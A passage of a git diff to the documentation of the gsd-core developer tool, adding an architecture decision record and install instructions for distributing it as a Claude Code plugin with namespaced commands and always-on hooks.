(`disabledResponse`), subprocess helper (`execGraphify`, typed `GRAPHIFY_REASON` enum), presence detection (`checkGraphifyInstalled`), version checking (`checkGraphifyVersion`), query surface (`graphifyQuery` — BFS seed-expand + budget trim), status surface (`graphifyStatus` — node/edge counts, mtime staleness, commit-staleness tri-state via `built_at_commit`/`commits_behind`/`commit_stale`), diff surface (`graphifyDiff` — added/removed/changed nodes+edges), build pre-flight (`graphifyBuild`), snapshot management (`writeSnapshot`). Reads `.planning/config.json:graphify.enabled` as config gate; writes to `.planning/graphs/`. Auto-update hook (`hooks/gsd-graphify-update.sh`) triggers a detached background rebuild after HEAD-advancing git operations on the default branch when `graphify.auto_update=true`. Status file `.planning/graphs/.last-build-status.json` carries `{ ts, status, exit_code, duration_ms, head_at_build, graphify_version }`. Graph IR uses `nodes[]`, `edges[]` (or `links[]` for graphify ≥0.7 compat), `hyperedges[]`, `built_at_commit`. `commit_stale` is tri-state: `false` (known fresh), `true` (stale), `null` (unknown — no git or pre-v0.7 graph). Source: `gsd-core/bin/lib/graphify.cjs`. Skill: `commands/gsd/graphify.md`. diff --git a/docs/FEATURES.md b/docs/FEATURES.md index e6e5a6db9..f879a60bd 100644 --- a/docs/FEATURES.md +++ b/docs/FEATURES.md @@ -1020,6 +1020,8 @@ fix(03-01): correct auth token expiry | Hook events | `PostToolUse` | N/A | `AfterTool` | N/A | N/A | N/A | N/A | N/A | N/A | N/A | N/A | N/A | | Config | `settings.json` | `opencode.json(c)` | `settings.json` | `kilo.json(c)` | TOML | Instructions | Config | Config | `.clinerules` | Config | Config | Config | +**Claude Code native plugin distribution:** GSD Core ships a `.claude-plugin/plugin.json` manifest, enabling installation and lifecycle management via `claude plugin install|enable|disable|update gsd-core`. Commands load under the `/gsd-core:` namespace (e.g. `/gsd-core:plan-phase`), avoiding slash-command collisions with the classic npm installer which uses `/gsd:`. Always-on guard and update hooks are wired automatically via `hooks/hooks.json`. The plugin path is additive — the npm installer (`npx @opengsd/gsd-core`) remains fully supported. + --- ### 37. Hook System diff --git a/docs/adr/766-claude-code-plugin-manifest-module.md b/docs/adr/766-claude-code-plugin-manifest-module.md new file mode 100644 index 000000000..c150f8d03 --- /dev/null +++ b/docs/adr/766-claude-code-plugin-manifest-module.md @@ -0,0 +1,70 @@ +# Claude Code Plugin Manifest Module owns the projection of gsd-core surfaces onto the Claude Code plugin contract + +- **Status:** Accepted +- **Date:** 2026-06-07 +- **Issue:** #766 +- **Implementation:** PR #797 + +## Context + +gsd-core has, until now, reached Claude Code through exactly one Adapter: the file-copy installer. The **Runtime Artifact Layout Module** (ADR-3660) projects gsd-core's artifact surfaces (`commands`, `agents`, `skills`) onto per-runtime filesystem placements, and the **Runtime Install Policy Module** (ADR-58) composes those placements with command text and config intentions into a typed install plan that adapters write to `~/.claude/` / `.claude/`. + +Claude Code now exposes a second, first-class way to receive the same surfaces: the **plugin contract** — a `.claude-plugin/plugin.json` manifest plus a `hooks/hooks.json`, consumed either by a marketplace install or by the zero-friction `@skills-dir` path. This contract is an *external interface owned by Claude Code*, not by gsd-core: it has its own schema, its own namespacing rules (`/:`), its own validation tool (`claude plugin validate`), and its own constraints (notably: plugin-shipped agents may not carry `hooks` / `permissionMode` / `mcpServers` frontmatter — Claude Code silently ignores them). + +Before this ADR, the only record of how gsd-core maps onto that external contract was the manifest files themselves. A hand-authored config file with no named Seam invites drift: the manifest's hook wiring silently diverges from what the Installer Module wires into `settings.json`; the identity fields drift from the Package Identity Module; and a future maintainer has no single place that says *which gsd-core surface maps to which manifest field, and why*. The plugin contract is exactly the kind of external interface that earns a defined, typed mapping rather than an ad-hoc file — the same reasoning that gave the file-copy path the Runtime Artifact Layout Module. + +This is the structural signal the architecture review looks for: **two Adapters at one Seam.** The file-copy layout and the plugin manifest are two projections of *the same* gsd-core artifact surfaces onto two different distribution contracts. That makes the distribution Seam real, and the plugin-side projection deserves a name. + +## Decision + +Introduce the **Claude Code Plugin Manifest Module** as the Seam that owns the projection of gsd-core's artifact surfaces onto the Claude Code plugin contract. It is the plugin-contract sibling of the Runtime Artifact Layout Module: where that Module projects surfaces onto filesystem placements, this Module projects the same surfaces onto `.claude-plugin/plugin.json` + `hooks/hooks.json`. + +The mapping is **defined, not incidental**: + +| gsd-core surface / source | Claude Code plugin field | Rule / invariant | +|---|---|---| +| Package Identity Module `binName` | `name` | `gsd-core` — drives the `/gsd-core:` command namespace; must be kebab-case (no colon/space/uppercase). | +| Package Identity Module `repoUrl` | `repository`, `homepage` | derived, never re-typed. | +| `package.json` `version` / `description` / `license` | `version` / `description` / `license` | `version` is **required** for `claude plugin validate --strict` (a missing version is a strict failure), so it is synced to `package.json` and held by a drift-guard test. | +| Command surface (`commands/gsd/*.md`) | `commands: "./commands/gsd/"` | exposed as `/gsd-core:`; namespacing replaces the file-copy path's `/gsd:` (an additive UX change, not a data-format break). | +| Agent surface (`agents/*.md`) | *(omitted — default `agents/` discovery)* | the explicit `agents: ` form is rejected by the plugin schema; relying on Claude Code's default `agents/` discovery loads them and stays self-maintaining. Agents are already plugin-safe — their `hooks`/`permissionMode` frontmatter is inert. | +| Always-on hook policy (subset of the Installer Module's `settings.json` wiring) | `hooks: "./hooks/hooks.json"` | see below. | + +The hook projection is the load-bearing part of this Module, because of the external constraint: a plugin's agents cannot carry hook frontmatter, so **all plugin-path hook wiring must live in `hooks/hooks.json`**. The Module projects *only the always-on subset* of the Installer Module's Claude hook wiring — `gsd-check-update` (SessionStart), `gsd-context-monitor` (PostToolUse), and the security guards `gsd-prompt-guard` / `gsd-read-guard` / `gsd-worktree-path-guard` / `gsd-read-injection-scanner` — preserving each event, matcher, and timeout. The installer's **config-gated opt-in** hooks (workflow-guard, validate-commit, graphify-update, session-state, phase-boundary, update-banner) are deliberately excluded: a static manifest cannot read a project's `.planning/config.json` to honor those gates, so projecting them would run them unconditionally — a behavior change the Module must not introduce. Hook commands reference bundled scripts through Claude Code's `${CLAUDE_PLUGIN_ROOT}` variable. + +The interface of this Module is therefore a **conformance contract**, validated two ways: `claude plugin validate --strict` (the external tool's view) and an in-repo drift-guard test (`tests/issue-766-plugin-manifest.test.cjs`) that locks the identity mapping, the version sync, the always-on hook contract, and the absence of opt-in hooks. Manifest component paths are resolved relative to the **plugin root** (the directory containing `.claude-plugin/`), which is the repository root. + +This is **additive**. The file-copy path — Runtime Artifact Layout Module, Runtime Install Policy Module, Installer Module — is unchanged. The plugin manifest is a parallel Adapter, the fallback for users on older Claude Code versions that predate the plugin contract. + +## What stays OUTSIDE this Module + +To keep the Seam honest about where the plugin contract ends: + +- **Runtime execution.** The Module projects the command/agent/hook *surface* and lifecycle metadata. It does not make gsd commands self-contained: their backing logic still resolves the gsd runtime CLI (`gsd-tools`) and `node` on `PATH`. The plugin delivers discoverability and lifecycle (`claude plugin enable|disable|update`); it does not replace the runtime. +- **The file-copy install.** Filesystem placement, `settings.json` merge semantics, and per-runtime config rendering remain owned by the Runtime Artifact Layout / Install Policy / Installer Modules. +- **Marketplace listing.** Publishing gsd-core to a marketplace registry is an external, out-of-repo act. +- **Manifest emission by the installer.** Having `bin/install.js` drop the manifest in-place for the npm `@skills-dir` path is a follow-up; the repo-root manifest already serves the marketplace and git-clone `@skills-dir` paths. + +## Consequences + +- gsd-core gains a one-command install/update/disable lifecycle and automatic `/gsd-core:` namespacing that prevents slash-command collisions, without disturbing the file-copy path. +- The plugin contract gains a named place in the glossary (`CONTEXT.md`) and a defined mapping, so future surface additions have an obvious projection target instead of an ad-hoc file edit. +- **Latent duplication is now named, not hidden.** The always-on hook policy is currently encoded twice — imperatively in the Installer Module's `settings.json` wiring, and declaratively in `hooks/hooks.json` — kept in agreement only by the drift-guard test. This ADR records that as the known cost of a *static* manifest. Elevating the Module from a hand-authored manifest to a **generated projection** (stamping `plugin.json` from the Package Identity Module + `package.json`, and `hooks/hooks.json` from `managed-hooks-registry.cjs` + a shared always-on-hook policy) would collapse the duplication to one source — the same generated-single-source move ADR-457 made for `.cjs` and the Runtime Install Policy Module made for install plans. Deferred; see Open questions. +- The `name` field is a stability surface: it is the published `/gsd-core:` namespace. Changing it is a user-visible break under Hyrum's law, the same way command names are. +- Rollout is incremental: this ADR + the hand-authored manifest land first (#766/PR#797); installer-emit, release-time version stamping, and the generated projection are tracked follow-ups under #766. + +## Open questions + +- Should this Module be **generated** rather than hand-authored, deriving `version` (and identity) at build/release time so a `package.json` bump cannot leave `plugin.json` stale? The release pipeline bumps via `npm version --no-git-tag-version` with no regeneration hook, so today the drift-guard test enforces the sync manually (idiomatic with the repo's other drift guards, but a release speed-bump). +- Should the always-on-hook policy be lifted into a single shared source consumed by *both* the Installer Module and this Module, retiring the dual hand-encoding? + +## References + +- ADR-3660 — Runtime Artifact Layout Module (the file-copy sibling: projects the same surfaces onto filesystem placements). +- ADR-58 — Runtime Install Policy Module (typed install-plan projection for the file-copy path). +- ADR-457 — Generated single-source (the precedent a generated manifest projection would follow). +- ADR-0008 — Installer Migration Module (adjacent installer Seam). +- Package Identity Module (`gsd-core/bin/lib/package-identity.cjs`) — source of the manifest's identity fields. +- Installer Module (`bin/install.js`) — owns the `settings.json` always-on hook wiring this Module mirrors for the plugin path. +- `CONTEXT.md` § Glossary — Domain modules and seams (where this Module is registered). +- Claude Code plugin contract: . diff --git a/docs/adr/README.md b/docs/adr/README.md index 612e4891f..e91265d49 100644 --- a/docs/adr/README.md +++ b/docs/adr/README.md @@ -55,6 +55,7 @@ See **[CONTRIBUTING.md — "Proposing an ADR or PRD"](../../CONTRIBUTING.md#prop | [457-generated-cjs-single-source.md](457-generated-cjs-single-source.md) | Collapse hand-written CJS to generated single-source | Proposed | | [660-release-from-next-head.md](660-release-from-next-head.md) | Release from the head of next; immutable release tags; @next dist-tag as the RC surface | Proposed | | [58-runtime-install-policy-module.md](58-runtime-install-policy-module.md) | Runtime Install Policy Module owns the typed install-plan projection | Accepted | +| [766-claude-code-plugin-manifest-module.md](766-claude-code-plugin-manifest-module.md) | Claude Code Plugin Manifest Module owns the projection of gsd-core surfaces onto the Claude Code plugin contract | Accepted | ## Seam map diff --git a/docs/how-to/install-on-your-runtime.md b/docs/how-to/install-on-your-runtime.md index 0e2a160e7..e7f3ccb1b 100644 --- a/docs/how-to/install-on-your-runtime.md +++ b/docs/how-to/install-on-your-runtime.md @@ -44,6 +44,50 @@ CLAUDE_CONFIG_DIR=~/.claude-alt npx @opengsd/gsd-core@latest --claude --global --- +### Claude Code — native plugin install + +GSD Core ships a `.claude-plugin/plugin.json` manifest, which enables installation and lifecycle management through the Claude Code plugin system. This path is **additive** — the npm installer above remains fully supported, and the two approaches differ in namespace and lifecycle only. + +**Install paths** + +*Option A — marketplace or git install (once listed):* + +```bash +claude plugin install gsd-core +``` + +*Option B — zero-friction skills-dir load:* Claude Code automatically discovers any directory under `~/.claude/skills/` that contains a `.claude-plugin/plugin.json` as a plugin. To use gsd-core this way, place (or symlink) the gsd-core package directory there: + +```bash +# Example: place the package under ~/.claude/skills/gsd-core/ +# Claude Code loads it as gsd-core@skills-dir on the next session start. +# No explicit install step required. +``` + +**Command namespace** + +Plugin commands are namespaced as `/gsd-core:` — for example, `/gsd-core:plan-phase`. This is distinct from the classic npm/file-copy installer, which exposes commands as `/gsd:`. Use whichever namespace corresponds to your install method. + +**Lifecycle** + +```bash +claude plugin enable gsd-core +claude plugin disable gsd-core +claude plugin update gsd-core +``` + +**Hooks** + +The plugin wires gsd-core's always-on guard and update hooks automatically via `hooks/hooks.json`. No manual hook registration is required. + +**Prerequisites** + +The `gsd-tools` binary (installed as part of the `@opengsd/gsd-core` npm package) must be available on your `PATH` for gsd commands to execute their backing logic. The plugin delivers the command, agent, and hook surface; the npm package delivers the runtime CLI. + +Node.js (`node`) must also be available on your `PATH`. The plugin's always-on guard hooks (wired in `hooks/hooks.json`) are invoked as `node "${CLAUDE_PLUGIN_ROOT}/hooks/